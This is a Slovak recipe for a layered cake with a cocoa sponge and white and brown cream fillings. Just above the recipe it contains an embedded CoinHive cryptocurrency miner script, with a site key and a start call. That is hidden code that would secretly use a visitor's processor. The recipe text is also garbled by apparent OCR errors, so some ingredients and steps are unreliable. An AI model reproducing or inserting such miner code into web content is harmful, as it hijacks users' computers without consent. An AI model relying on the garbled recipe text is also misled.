Zakusok od Zdenky — vyborny

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();
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Pigkota: 6 bielkov §fahame so 7 PL krystalového cukru + zamiesat Zitka, pomaly pridavat 6 PL
mUKy na pripravu zakuskov a 4 PL kakaa.

Plech vymastit, pomudit a piect vo vyhriatej rire na tenkom plechu.

Biela plnka: 4dcl mlieka, 20dkg Iva, 10dkg maslo, 9dkg praskovy cukor, 1 vanilkovy cukor, 1
Zitok. V&etko za staleho mie$ania zohriaf na bod varu. Nevari.

Hneda pInka: 2dcl mlieka, 1/8 masla, 1 varova ¢okolada Kazdl plnku zvlast po uvareni mixovat
aspon 5 minit na ¢. 1. PInky vliat do poharov, zavickovat a nechat stat v chladniCke 24 hodin.

Na druhy den vyslahat v sfahaci na ¢. 1 asi 3-5 mindt, najprv bielu a potom hnedu pinku (hneda
plnka sa vyslaha skoér). Na piSkétu natriet najprv bielu, potom hnedi plnku a posypat
strihankou ¢okoladou.




